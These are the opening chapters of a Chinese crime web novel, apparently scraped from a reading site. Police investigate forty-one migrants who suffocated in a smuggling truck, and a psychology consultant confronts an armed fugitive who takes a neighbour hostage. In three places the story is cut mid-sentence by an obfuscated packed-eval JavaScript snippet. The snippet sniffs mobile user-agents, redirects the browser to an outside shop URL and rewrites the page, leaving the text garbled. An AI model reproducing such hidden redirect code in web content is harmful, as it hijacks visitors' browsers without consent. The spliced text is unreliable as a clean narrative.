《前男友死后到犯罪集团当卧底》
1. 深夜报警
“铃铃铃——”
深夜凌晨,白港市报警服务台接到报警电话,电话里传出一道惊慌的男子声音:
“警官...死人了!我杀人了,不,不是我杀死的,他们是自己死的...不关我的事,不是我杀死的,不是我...”
接警员猛地站起身,凳角与地板发出刺耳的摩擦,“死了多少人?您现在在哪?周围是否有危险人物?”
“多少人?”电话那边的声音喃喃重复,声音抖如糠筛,“...二十,不,三十,不不,应该是四十,我不知道...我真的不知道,里面全是人,全死了...他们全都死了...”
二十、三十、四十,当了三年接警员的小陈从来没有听过这么多死亡人数,心脏开始怦怦跳动,不管是真是假,她都必须当成真的对待,立即通知刑侦人员前往查看情况。
“先生,您现在在什么位置?”小陈一边拨白港市公安总局的电话一边询问。
“我不知道...在海边,工业园区,我真的不知道,好多血...我不是故意的,我真的没有想害他们...”
报警人的精神已经崩溃,说不出具体的地方,接警员听到电话背景中呼啸的狂风与海浪,温声安慰:“请您不要着急,我们正在查询您的定位,警方马上就会赶到,您不要挂断,时刻与我保持联系...”
......
凌晨02:10分,白港市公安局十几名公安人员赶到现场。
一辆拉着集装箱的大货车停在海港一处偏僻的工业园区,一名年轻男子抱头蹲在货车旁,浑身颤抖,正是半个小时前的报警人。
“这位同志,你还好吗?”
一道强光打在报警人身上,负责的刑警走到他身前查看情况,面对刺眼的强光,男子没有任何反应,瞳孔扩散,好似正面临极大的恐惧,精神看起来不太正常。
严钧眉头微动,命其他人看好他,阔步走到货车车身后,身后警员亦步亦趋,抬着手电筒帮忙照明,明耀的灯光穿透门缝,被集装箱内部的黑暗吞噬。
盯了一瞬,市刑侦大队三队队长严钧上前将车门打开,外部光线涌入,集装箱内部的景象跳入众人视线:
几十具横叠的尸体,满墙密密麻麻的血掌印,狰狞绝望的面孔一齐望向门外。
腥咸的海风吹乱众人的头发,一波又一波永不停歇的海浪拍打岸边礁石,一桩足以载入历史的刑侦大案拉开序幕。
......
上午八点,白港市公安局审讯室,报案人罗自强坐在审讯椅上面对审讯。
“说说吧,什么情况,从头说,任何事情都不要遗漏。”
经过警察与医生的安抚,报案人罗自强的精神状态明显稳定下来,但坐在审讯椅上还是十分紧张不安,时不时揪自己的衣角或做出掐掌心的动作。
他虽然抬着头,却不敢看对面审讯警官的眼睛,嗫嚅了几下开口:
“我,我就是个普通的货车司机,在一个招聘网站上看到一个招货车司机的职位,给的工资比其他公司的高很多,我就投了简历。”
“线下面试很顺利,只让我开车带着他转了一圈就通过了,工资也没有骗人,之后我立刻就开始工作了,负责的是蛟眉港到水边寨的路线。
第一次运输货物的时候,是金叔跟我一起,到了地方,我发现运输的货物竟然是人,我当时就觉得不对劲,可金叔跟我说这些只是想省下路钱去打工的人,我当然不相信,想省钱可以坐公交,何必躲在货车里,而且还带着那么多行李。”
“我想要跑路,可金叔威胁我说到了这个地方就跑不了了,我感到害怕,这个时候他又道,只要我答应,工资可以再涨一倍。
本来他们开出的工资就多出市场的一半,再一翻一倍的就是正常的三倍,一个月轻轻松松挣到三万,这是我以前想都不敢想的事,一咬牙,我心道有钱不挣是王八蛋!就答应了下来。”
罗自强交代时,负责审讯的警察一直没有打断他,而是不动声色地观察,旁边一位年轻的警官坐在电脑后同步记录,审讯室内罗自强恐惧颤抖的声音与键盘音混杂在一起,衬出异样的安静。
“就这样,我干了差不多有半年,这一次跟往常一样,从蛟眉港接车,走的是没有检查的偏僻小路,可这次不知道怎么回事,竟然开始沿途查车了,发现的时候交警已经看到了我,我进也不是退也不是,当时真想跳车就跑。”
“可我知道这个时候表现得越奇怪越有问题,我装作镇定地把车开过去,跟他们说是冷鲜车,打开里面的凉气就散了,让他们通融通融,还塞了钱给他们。
可他们没接,坚持开箱检查,我车厢里几十个人,怎么都是藏不住的,一开箱所有人都完蛋,我当时冷汗直出,没有办法,只能假装答应,在他们走到车后检查时猛踩油门,将他们甩到后面。”
罗自强越说越顺畅,表情变得生动,甚至开始手舞足蹈,好似又回到了那个紧张的时刻。
“他们只有两个人,一辆警车,前面的路复杂多变,很多居民房遮挡视线,我靠多年的经验把他们甩开,一路狂奔。”
“前面说这是一辆冷藏车,我没说谎,冷藏车密不透风,隔音非常强,为了减少被发现的风险,运人主要靠这个,只是它隔音隔热却缺少空气,过一段时间就需要打开车门让里面的人透透气。”
“我...我太慌张了。”罗自强说到这里浑身又开始大幅颤抖,声音恍惚,“我忘记了这件事,直到路过灞桥工业园时才想起来,那时候凌晨一点多,周围没有一个人,我立即下车查看,然后发现他们...他们...”
他停住了,仿佛再多说一个字就会立刻死去,他露出哀求的眼神,突然号啕:“警官!我真的不是故意害死他们的!我没想杀人!我真的,我真的没想杀人,我只是想赚一点钱,我求你相信我!我不想坐牢,我才二十岁啊...”
监控里,罗自强的精神又崩溃了。
“江淮,你觉得他说的是真的还是假的?”收回视线,严钧偏头认真看向站在自己身边,穿着驼色长风衣的女子。
她周身气质沉静,眉目温柔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642306|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,第一眼就容易让人产生好感,轻易产生对她的信任,但这时她的眼神却有些冷,声音也比往常要硬,“九分真,一分假。”
“哪一分?”
“无关紧要的小事,他知道自己做的是偷|渡生意,干了也不止半年。”
江淮话音肯定,严钧却没有丝毫怀疑,江淮是心理学高才生,局里的犯罪心理学顾问,合作几年她的判断基本没出过错。
“能从他嘴里挖出什么东西吗?”
江淮轻轻摇头,“一个司机,不会知道太多。”
“哎。”严钧长叹一口气,手掌后撑倚在监控台,黑色衬衫随着他的动作撑开,露出一截精致的锁骨,膝盖曲起,黑色长裤下的修长双腿彰显出存在感。
“四十一条人命啊,又要忙起来了。”
江淮抬手微拢秀发,忽然偏头望向严钧,话音很轻,“你说,这次偷渡会是它组织的吗?”
严钧愕然,眼底情绪一点点沉下来,正色道:“你是说,黑蛇集团。”
黑蛇集团,一家大型国际犯罪组织,创建于上世纪七十年代,距今已有半个世纪的历史,以偷渡发家,后来业务逐渐扩展,主要业务有组织偷渡、走私人口、贩卖人体器官、走私枪支毒品、传销诈骗等等。
组织人员遍布全球,主要活跃于无政府地区、政府混乱地区、贫困国家以及公海,很不幸,白港市即临海也靠近周围贫困小国,临近黑蛇集团最大的犯罪窝点,白港市公安局已与其斗智斗勇多年。
两相对望,各自沉默。
黑蛇集团不是什么不可言说的存在,却是江淮与严钧心中共同的禁忌,江淮的初恋,严钧的多年好友,死在黑蛇集团手中。
江淮原本不是犯罪心理专家,只是一位普通的心理医生,她原本有一个刑警男友,两人大学相识相知,是彼此初恋,交往五年。
严钧则是江淮初恋的室友,比江淮认识他还多一年。
三年前,一桩人体器官贩卖的大案,警方捣毁多处窝点,查找到主犯藏身地点,然而主犯提前得知了风声,挟持人质,驾车前往国界,准备逃到其他国家。
警方紧追不舍,却碍于人质不敢有大的动作,越过国界开枪不是小事,警方必须将主犯拦在国界线前,否则只能眼睁睁看着他逃走。
情况危急之时,一辆出租车忽然从山林跃出挡住前路,两车相撞,主犯的车成功被逼停,他挟持着人质从车上下来,威胁警察退后,而出租车内则走出一名刑警,与他展开对峙,刑警出其不意将罪犯与人质分开,与其厮打,谁料罪犯的身上竟然藏着一颗手雷。
罪犯拔开手雷竟然没有扔向警察,而是丢向了刚跑出去两步的人质,刑警见状,立即飞身扑过去,手雷爆炸的火焰点燃汽车油箱,巨大的爆炸接二连三响起,两国边界升起浓浓烟雾。
刑警牺牲,人质死亡,而那名罪犯则趁机越过国界,只留下一个嚣张的背影。
严钧亲眼目睹好友的死亡,然后又亲自敲响好友恋人的房门,在她疑惑惊讶的目光里告诉她:顾麟因公牺牲了。
2. 百万逃犯
“尸检报告出来了,四十一人,二十三名成年男性、十六名成年女性、两名青少年,死亡原因均为密闭空间内缺氧窒息,掌心血痕由长时间且大力的拍打造成,DNA经过对比没有一条与国内数据库吻合。”
刑侦办公室,一位身穿白大褂,扎着低马尾,浑身散发请勿靠近气质的女子走进来,将尸检报告撂到桌子上,随后走到犯罪心理专家江淮身边坐下。
在她进来之前刑侦技术部门的人员已经做了报告,他们从集装箱里整理出包括受害者衣物、手机在内的等五百件物品,手机使用的广泛分布的英语,无法据此推测出受害者国籍。
除了身上穿的,携带衣物普遍清凉简陋,推测是热带、亚热带地区,但是会偷渡到Z国的地区人民大多来自热带、亚热带贫困地区,无法据此得到有效信息。
没有护照、没有身份证明,没有明显能推测出身份的东西,协助他们偷渡的人一定非常有经验,为避免之后被遣返提前告知了这些事。
涉事的集装箱来自X国国际港口,由一艘商船运送到蛟眉港,再由蛟眉港搬运到罗自强的货车上,信息部的刑警正在与国际港口进行交涉,调查那艘商船上的所有集装箱来源。
货车来自一家汽车租赁公司,用的罗自强的身份,他每月都会租赁几天货车,每次换不同的公司,这种情况已经持续了三年。
租赁公司的货车都有GPS设备,可以监控车辆的路线动态,该公司已将相关数据与租赁人信息交给警方,经过查证,罗自强所言为真。
另外他还交代,除了他之外还有另外两名司机,这次偷渡共一百来号人,但几名司机的路线与目的地不同,他不知道另外两名司机会前往哪里。
目前警方已派人前往该汽车租赁公司查找其他不定时租车且路线可疑的人员。
罗自强所说的招聘网站管理非常松散,任何人都能在上面发布招聘岗位,他所说的那个招聘职位与公司早已完全消失了,发布招聘的IP地址位于海上某小岛。
还有他第一次交代出来的水边寨与金叔,是关键的地点与人物。
“罗自强值得信任吗?”坐在长桌右边上位,身穿警服,伸着长腿的女子开口,她长相英气,声音沉稳,刑侦大队一队队长戚言开口,目光看向对面的江淮。
“可以。”江淮给出肯定,双手轻轻放在桌面,嗓音温和,“罗自强此人道德感不强,但也说不上是什么大奸大恶之人,而且胆子不大,不然就当初就不会被黑叔威胁,昨晚也不会选择报警。”
“在事情暴露,身在审讯室的情况下,这种人不太可能说谎,但事关自身罪行的地方可能会选择隐瞒、美化,这是人性,所有人都会这样,总体来说是可信的。”
负责审讯的张警官也开口,“我将问题打乱顺序,故意说错一些细节,以各种方式进行询问,他的回答都符合逻辑,话语不完全一样但内容相同,我说错的细节也能及时进行纠正,不像说谎,除非他是心理素质极其优秀的高智商罪犯。”
“既然如此就直接派人去水边寨搜索吧,那里一定藏着猫腻,罗自强在那条路线上开了三年,不知道帮助偷渡了多少人,抓住一问,不就知道他们的国籍了。”戚言微微正了身子,压低眉眼提议。
“水边寨是一定要搜的,但不能打草惊蛇,不能冒进,谁也不知道里面是个什么情况,万一整个村都是他们的人,万一藏着枪火,这都不好说,不如先派几个人乔装打扮先探探情况。”二队队长郑春生开口,他坐在戚言左手边隔一个位置,四五十岁的年纪,做事沉稳,经验老到,是三个刑侦大队队长里资历最老的那位。
“黑叔当初面试罗自强时约在了一家汽车修理店附近,这个地方也需要派人去探查。”三队队长严钧补充。
几人说完后,众人都看向最上座的马局长,等待她的指示。
马局长是一位五十多岁的中年女士,中短发,长相慈和威严,铁血手腕,年轻时屡立奇功,最著名的是那场幼儿园爆炸案,以一己之力救下三十多名幼儿与老师,荣获一等功,后获得多种称誉,全国公安系统一级英模、全国“三八红旗手”、全国杰出青年卫士,于五年前被调任白港市担任公安局局长,目前的刑侦一队与三队队长都是她一手提拔。
“就按你们说的办,我已经将此案告知国际刑警部门与公安部,让他们与T国与Y国的刑警以及外交部进行交涉,调查他们国内是否有大量人员失踪。”
“外交部发出通告后,此案必定会引起国内外舆论,T国与Y国很快就会派来人员协助调查,涉及多国形象,我们必须以最快的速度破案。”
马局长站起身,鼓舞众人,“都精神点别丢份儿,外出调查注意安全,散会。”
......
散会后,江淮与法医孔宣并肩走在走廊,沿途遇到的警员都匆匆忙忙,眼下青黑,从昨晚到现在,公安局所有警员都在高速运转。
江淮披散着长发,细软的发丝带着轻微的弧度,落在驼色长风衣的肩颈与后背,孔宣双手插在白大褂中,利落的低马尾,额前没有一丝碎发。
两人身高相似,一米七六上下,警局的女性身高普遍高,刑侦一队队长戚言一米八一,走路带风,马局长这个六十年代的女士也有一米七五,十分威严。
“那两个交警是怎么回事,为什么突然在偏僻道路上查过往车辆了?”江淮偏头看向身旁的孔宣。
“边境有个逃犯跑到了白港市附近,身价三百万,身上带枪,警方一路追捕,沿途设岗,目前还没有抓获。”孔宣淡淡道。
“三百万?”江淮微微诧异,“身上得背多少人命啊。”
孔宣倒是想跟她讨论,但到此就该分开了,她还要回到法医室工作,很忙,江淮理解她,但作为损友她选择炫耀,弯着眼睛跟她挥手:“和你的尸体相亲相爱吧,我就先下班啦。”
孔宣抬手,回她一个高冷的背影。
江淮是犯罪心理专家,编外合同工,平时只有出现重案大案警局才会把她叫来,而完成任务后她随时都可以离开。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642307|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>走出公安局大楼,江淮掏出手机看了一眼时间,下午三点多,怪不得那么饿呢,两顿饭没吃了,回家吃饭喽!
江淮跟父母住在一处老旧小区,倒不是买不起新房,而是老房子距离父母还有她上班的地方都很近,邻里和谐,热闹方便,住了那么多年产生感情了,搬进新房未必有原来的好。
但她的工作地点不是公安局,而是自己开的一家心理咨询事务所,所内只有她一个人,从所里回家电动车十分钟,而从公安局回家开车需要四十分钟。
开车从公安局出来,等待红绿灯,心中默默计算着时间,进入小区,关上车门走进3号楼。
进入昏暗寂静的狭窄楼梯,一个背影陌生的人走在她前面。
江淮在这楼里住了二十多年了,左右上下邻居都熟得不能再熟,只凭借背影就能轻易认出来人。
前面那人外表看着不是明显的壮汉风格,身高不高,肌肉也不夸张,下盘很稳,脖子短粗,打扮不像小偷那样严严实实,是放在人海里绝对不会引人注意的形象。
他单手插兜,不紧不慢地上楼梯,好似是这栋楼里的一员。
但转弯看到那人的面容时,江淮心里却掀起惊涛骇浪。
亲娘啊,这不是刚刚孔宣才跟她提起的身价三百万的A级通缉犯吗?
出于职业习惯,在听说白港市来了这一号人物后她立即就上网看了他的通缉令,没想到这就遇上了。
视线落到他插兜的口袋,不正常的鼓出,江淮以自己的专业发誓这人衣服里一定藏着一把手|枪。
江淮面上不动,正常地跟在这人身后。
而那人在听到身后的动静却不动声色地放慢了脚步,江淮没有慌乱,知道这种人只是不习惯把后背留给其他人,于是顺着他的意走到他身前。
楼道狭窄,两人擦肩而过。
江淮的视线从他脸上划过一瞬,没有任何停留。
安静的楼梯内两人一前一后,大概隔了三米距离,江淮能清晰地听到身后人的脚步,感受到一道不轻不重的视线落在自己身上。
未知使人恐惧,脑海中控制不住地幻想身后罪犯突然拔枪朝她射击的情况,平常的四楼在此刻格外遥远。
她不能表现出任何异样,这人的感知异常敏锐,有超出常人的侦查能力。
“咔”,清晰的开锁声。
四楼到了,一位穿着蓝色外套与灰色阔腿裤的少年正背对着他们开门,推开门时余光注意到身后人的身影,惊喜回头,“淮姐,你今天怎么回来这么早?”
江淮闻声快走两步到宋扬面前,微笑道:“今天所里没客人,就提前关门了,你呢?这才三点。”
“我辞职了。”说到这个宋扬就委屈垂眼,气呼呼地抱怨:“淮姐我跟你说,我们那个主管他特别过分...”
走在江淮身后的通缉犯瞥了一眼说话的两人,径自往上走去,宋扬不知为何多看了两眼上楼的男子,心中涌现奇怪的感觉。
他总觉得那人,好像在哪里见过。
3. 天台缉凶
跟宋扬道别后,江淮关上门立即拨打严钧的电话。
“嘟——”过了两秒,电话接通,不等那边的人说话,江淮语速很快地交代情况:
“严钧你听我说,我们居民楼里现在藏了一个A级罪犯。”
“就是前两天从边境跑过来的,叫王典,身上带枪,他现在在平安大道幸福小区3号楼,你立马通知幸福小区的居委,让他们在业主群里发布消息,一个一个电话通知,所有人立即离开3号楼。”
“我马上让人去办,江淮,你也立即从楼里出来。”严钧语气严肃,声如寒冬。
“不行...”
“不行什么不行!”严钧的嗓音猛地提高,以从来没有用过的暴烈语气跟江淮说话,“这个人我知道他,他是武警出身!后来因为一些事情持枪杀人被公安通缉,出动上百名警察追了他十五年都没追上!你在那里待着也没用!立刻给我出来!”
“我会出去,但不是现在。”
严钧听见江淮温柔而镇静的声音从电话那边传来,“严钧,我虽然不是警察,但跟着你们在警局混了那么多年这点觉悟还是有的,你放心,我有分寸。”
“嘟——”,电话被挂断,严钧一瞬间被恐惧的洪水淹没,仿佛又回到了那个顾麟葬身火海的黄昏,身体肌肉开始控制不住地痉挛。
好在在江淮说完第一句话后,他就开了扬声器,车内其他警察也听到了江淮的话,立即给局里打电话让他们联系幸福小区的居委,打了方向盘转向平安大道。
之后的半个小时,幸福小区3号楼的业主群开始不断刷屏:
【接白港市公安局通知:一名A级通缉犯藏身幸福小区3号楼,请所有人立即下楼,远离陌生的中年男子(附照片)。】
这条消息一连刷了几十条,不断@所有人,群里看到消息的人起初还以为是开玩笑或群主被盗号了,不以为意,直到接到来自居委与警察的电话。
除了3号楼,其他楼以及附近的小区都收到了消息,说一名A级通缉犯在附近活动,让他们注意安全。
现在是下午将近四点,大人在上班,小孩在上学,楼内没有多少人在家,但一些没有到上学年纪的小孩与老人还在家中,还有一些不用上班的人和失业人员,因此许多在公司接到电话的人第一时间夺门而出,不顾一切地往家中奔去。
......
回到家,宋扬越想越觉得那人的面容熟悉,心中莫名在意,仰头喝水的时候,脑中灵光一闪。
“噗——”那人不是新闻上的通缉犯吗?!
一口水喷出来,宋扬急忙掏出手机搜索:白港市逃亡罪犯。
但照片出来后,他反而不敢确定了,那人真的是他吗?世界上那么多长相相似的人,万一认错了呢?
他当时只匆匆瞥了一眼,过眼就忘了大半,只是感觉相似,这会儿一对比又觉得没那么像了。
可这事儿也太巧了,这名罪犯刚好逃往白港市,他又碰到了跟罪犯长得那么相似的人...
宋扬犹豫着要不要报警,又怕闹出乌龙,两个小人在他脑中打架,最后他决定上去偷看一眼,确认了就报警,不确认就算了。
偷偷摸摸走出门,宋扬戴上帽子遮脸,把自己整得跟通缉犯一样,然后踮着脚上楼。
幸福小区的楼都是六层,每层两户人家,上了楼梯就知道有没有人,如果那人是通缉犯肯定进不了别人家只能在楼道或天台待着。
五楼没人,六楼没人,宋扬咽了咽口水朝天台走去。
他没有傻到直接打开天台门,而是缓缓靠近可以看清天台的破窗户,他蹲下身一点点挪过去,探出半个脑袋。
视线透过模糊透风的玻璃窗逡巡,在天台的一处角落看见一个蹲着的人,脚边放着一瓶矿泉水,正疯狂往嘴中塞食物,吃东西时他的头一直侧着看向楼下,好像在警惕什么。
宋扬看不到他的正脸,有些着急,这时,那男人猛地站起身回头看来,一双极凶恶的眼睛与他对上,宋扬被吓得一激灵,转身就跑。
“嘭!”
身后铁门被踹开,一股大力薅住他的头发,他想要大声呼喊,却被一只强力的胳膊桎梏住脖颈,喉咙被压迫,空气难以进入,宋扬的脸瞬间涨得通红,四肢不断挣扎。
耳中嗡鸣,世界摇晃,视线越来越模糊,他感受到那人铁一样的胳膊,然后像一具尸体一样被人拖拽走,在脏污的地面留下长长的拖痕。
“啪啪啪!有人吗?有没有人在家?”
拍门的声音传出去很远,江淮挂断电话后没有立即前往通缉犯所在的天台,而是爬上爬下一家家敲门,发现有人后告诉他们楼内有天然气泄漏随时会发生火灾让他们立即下楼。
楼下已经产生了骚乱,王典这时候应该已经发现了,但现在抓逃犯是次要的,重要是楼内居民的安全,她必须确认这栋楼里除了她以外一个人都不剩。
十几分钟后,确认所有人都下楼了,江淮才喘一口气朝天台走去。
幸福小区3号楼楼下围了许多人,周围楼房也陆续有人走出朝这边望来,他们抬起手指向天台在讨论着什么,王典冷漠地注视从小区门口进来的警车,将枪口死死抵在宋扬脑门,午后金黄的阳光使他的皮肤犹如黄铜,地上重叠的影子无限拉长。
江淮赶到的时候,宋扬已经完全变了一个人,他被人用枪抵着脑门,脸上却是讽刺疯狂地笑,哑着声音道:
“王典,你今天逃不掉的。”
王典手掌未动分毫,甚至看都没看他一眼,宋扬也不在乎,自说自的:
“你在等什么呢?等警察来跟你谈判?你不会真以为凭借我就能再次逃出去吧,这里不是国界区,也不是海边,你觉得自己带着我能跑多远?”
“看到了吗?下面全是警察,他们找了你十五年,这次绝不会放过你,暗处的狙击手在盯着你呢,只要找到角度,‘砰’一声,你就会死去,脑浆全都炸出来,就跟你第一次拿枪杀人看到的场景一样。”
宋扬口中模仿开枪的声音,神经质地笑。
“你给我闭嘴!”王典再次扼住他的喉咙,宋扬伸着脖颈艰难地挤出字来,字字诛心,“你怕什么?你当初又没杀错人,你是被逼上这条路的不是吗?”
“想当初你可是荣誉加身,是村里所有孩子的榜样啊,你从贫穷的山村走出去,独自学武,进入武警部队,荣获三等功,认识自己的恋人,那时候你多幸福啊。”
“然而退伍后一切都变了,经营的武馆被当地地头蛇打压,武馆被迫倒闭,你身负巨债,变得贫困潦倒,出去找其他工作不断被坑被骗,之后你的恋人被强豪夺去,你终于爆发,开枪杀了那个强豪。”
“到这里我还是佩服你的,可惜你之后一路抢劫逃窜,伤害了无辜之人,后来更是进入M国从事诈骗,彻底走上歧路,几天前诈骗团伙被捣毁,你才重新回到国内。”
“M国你不去、公海你不去、无政府地区你也不去,偏偏就回到了国内,让我猜猜,你是想回家吧?”
王典是单身家庭,由母亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642308|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
独自抚养长大,当初事发被通缉后,他的母亲断肠痛哭,宣布与他断绝关系,就当从没生过这个儿子。
母子分隔十五年,从那以后未曾见过一面。
脖颈处的胳膊一下死死勒紧,王典胸膛起伏,声音凶狠:“你闭嘴!”
宋扬额头青筋突起,断断续续吐出几个字,“我...知道你...母亲...”
脖颈处的力道松了,宋扬终于得到空气,得了肺痨一样咳嗽。
下面的警方正拿着大喇叭朝王典喊话,让他放下武器,不要伤害人质,有什么事情都好商量,王典看出这些只是民警,没有理会,只威胁他们不要靠近。
“宋扬!”
江淮糟心地发现自己的邻居被王典绑架为人质,而且正面临生命危险,迫不得已立即推开天台铁门,担忧地看向被挟持的宋扬。
宋扬看向她,眼神却十分怪异,像看见了猎物,又像看见了同类,狂热黏腻,好似要从她身上撕下一块血肉。
但他的眼神很快就变了,混乱挣扎,某个瞬间明亮纯澈,溺水般求助地望着她,“淮...淮姐...”
“王典,你放了他。”
“再过来我就一枪崩了他!”王典缓缓按下扳机,吼声威胁,脸上青筋毕现,如同被逼上悬崖的狮王。
江淮深呼吸,与他谈判,“我是市刑侦队的心理顾问,你放了他,我过去,我的体力比他弱,比他更有价值,你谈判的时候更有筹码。”
王典不上当,对她道:“滚!”
江淮一噎,电视剧里可能是陷阱,但她现在是诚心交换的,而且警局的人也还没到,这点时间根本不够布置,这年头说真话没人信了。
她张开手臂示意,“我身上什么都没带,附近也没有狙击手,这么短的时间他们赶不过来,你不是学过侦查吗,应该能判断出来吧,我真的不是警察,就是个犯罪心理学顾问,对你没有任何威胁。”
天台上的风将江淮的风衣与长发吹起,听到某个关键词,王典忽然眯起眼在她的脸上仔细逡巡,接着语气怪异地问:“你是当年追杀黑蝎时,那个死了的警察的女朋友?”
江淮的脸色唰得青白,黑蝎,当年害死顾麟的人,她张开嘴,声音发颤着问,“你怎么知道我?”
“你过来。”听到这个回答,王典咧开嘴笑了。
“你问你你怎么知道我?!黑蝎在哪?!”江淮眼睛通红,布满血丝,几乎是喊出来这句话。
“过来。”王典冷着脸色重复,枪口狠狠顶着宋扬的太阳穴,江淮不再犹豫,紧盯着他的眼睛朝他走过去,在遍布灰尘的天台留下自己的脚印。
“淮姐,你别过来!”宋扬哭喊,猛掰王典的胳膊。
“别过去!!”远处远远看见这一幕的严钧声音模糊地飘过来,甩开车门朝3号楼狂奔。
江淮忽视他们的话,在王典的注视下一步步朝他走过去。
在江淮走到伸手就能触碰到王典的距离时,宋扬陡然爆发,厉声大喊:“你不是想知道你母亲的情况吗?我告诉你!”
“她早就死了!”
宋扬身上一瞬间爆发出来的力气连王典都没有抗住,向后退了半步,可就是这半步要了他的命,天台锈迹遍布的铁栏杆一碰就断,宋扬拼着共赴黄泉的架势使他失去平衡,自身的力气一时也没收住,跟着一起掉下。
“宋扬!”
江淮眼睛缓缓睁大,瞳孔针缩,飞身扑过去。
严钧赶到楼下时,看到的正是这惊险的一幕。
4. 舆论爆发
“嘭——”
身体与水泥相撞,发出沉闷的声响。
肢体扭曲,骨头断裂,警方通缉十五年的A级逃犯王典死不瞑目地瞪着灰白的天空,脑下鲜血缓缓流出。
“救...命!”
宋扬一手抓着天台边缘,一手拽着江淮的手腕,肾上腺素激发到了极致,但江淮的手腕还是缓缓在他手掌中下滑,掰着天台的手指也越来越松,两人在将近二十米高的地方摇摇欲坠。
从单位赶回来的江淮父母看到这一幕差点晕厥。
“人呢?快救人!!”严钧暴喊,没有任何理智地跑到正下方妄想用自己的身体替她缓冲,其他民警立即移动早已准备好的救生气垫。
按照刚才的情形,江淮与宋扬的情况应该反过来才对,可宋扬推人时早有准备,江淮不顾一切地扑过去要救的也不是宋扬,而是王典。
顾麟死亡的那根刺,在她心上已长了多年,此生她必杀黑蝎。
“松手!”王典已死,看着拼命救她的宋扬江淮心中产生无尽愧疚,刚才,她放弃了他。
宋扬紧咬牙关,说不出话,可他的行动表明了他的态度,一滴滴冷汗从额头渗出。
“喀”,轻微的一声响,天台边缘的水泥裂开了,两人朝下坠去,宋扬依然紧攥江淮的手腕,并在极短的时间内将两人位置调换,死死护着她的身体。
“噗——”在最后半秒的时间,救生气垫终于到达两人坠楼的下方,两人坠落在气垫边缘,又被猛地弹出,宋扬抱着江淮在坚硬水泥地上滚了几圈,终于晕厥。
......
疼!
好疼!
浑身好像拆开又重组了一样,宋扬感到自己的意识落入了深海,周围的海水沉重地压在他的身上,水声在耳中晃荡,他奋力往上游,想要抓住那一线泄下来的光明。
“疼...”
病房里的人听见这道声音都惊喜地望去,看见躺在病床上的少年手指微动,挣扎着睁开眼睛。
眼睛刚刚睁开,天花板在视线中成型,宋扬还没有意识到自己身处什么地方,就感觉自己的右手被一双有些粗糙的手紧紧握住,接着他听到江淮父亲感激涕零的话语:
“小扬啊,你救了淮淮的命,江叔不知道该怎么感谢你了,以后我拿你当亲儿子对待,你有什么需要都尽管跟我说...”
江淮母亲站在一旁擦拭眼泪,宋扬是他们的邻居,这孩子从小孤苦,父母五岁时就没了,家中只有一个高龄的奶奶,还需要他反过来照顾,他们看这孩子可怜,平时多有照顾,没想到这孩子今天居然舍命救她的女儿。
他们家对宋扬确有恩惠,可也不到拿命来报答的程度,好人有好报啊,这孩子是个心地善良的,就凭这一救,以后什么忙他们都帮。
“爸妈,你们也太夸张了。”坐在另一边病床上的江淮无奈开口,缓解气氛的尴尬。
听见声音,宋扬倏地扭头看向她,见江淮穿着蓝白病号服坐在床上大惊,“淮姐,你哪里受伤了?”
江淮被他逗笑,眉眼弯弯,“你还是看看自己吧,你身上多处骨折,医生快把你包成木乃伊了,我什么事没有,就轻微擦伤,是我爸妈他们太紧张了,非要我跟你一起住院。”
“淮淮,你这说的什么话,从那么高的地方摔下来是小事吗?万一身体内部出现什么毛病一时间没看出来呢?还是多住会儿院好。”江爸听到顿时不赞同,严肃地反驳,江妈表示认同,跟着劝解。
江淮瘫在床上,拿他们没办法,“我住院行了吧,你们赶紧去上班吧,都在这里陪我们这么长时间了。”
“这怎么行,我们走了谁来照顾你们?”江妈横眉直竖。
江淮拿出杀手锏,“我饿了。”
江妈脸色一变,转身温柔地跟宋扬说话,“小杨睡这么长时间饿了吧,先喝点你江叔买的粥垫一垫,阿姨回家给你们煮骨头汤去。”
“不用了江姨,这太麻烦了。”宋扬忙开口礼貌拒绝。
“哎呀,这有什么麻烦的,甭客气。”江妈摆摆手雷厉风行地走出病房。
剩下一个江爸,江淮笑眯眯看着他,“爸你上班去吧,这里有医生护士呢,你在这里人家宋扬吃饭都放不开。”
正小口喝汤的宋扬动作一顿,窘迫抬头,“我没有,你们不用顾及我。”
听到这话江爸果然动摇了,宋扬这孩子看着开朗,但内心还是腼腆的,有大人在一直都表现得很拘谨,他一直待着这里不利于他的病情恢复。
“那我走了,你们有什么事情给我打电话。”江爸一步三回头地走出病房。
“呼,可算走了。”江淮长出一口气,脑袋倚在床头,她爸妈神经太紧张了,关心过头,还是独自冷静消化一下好。
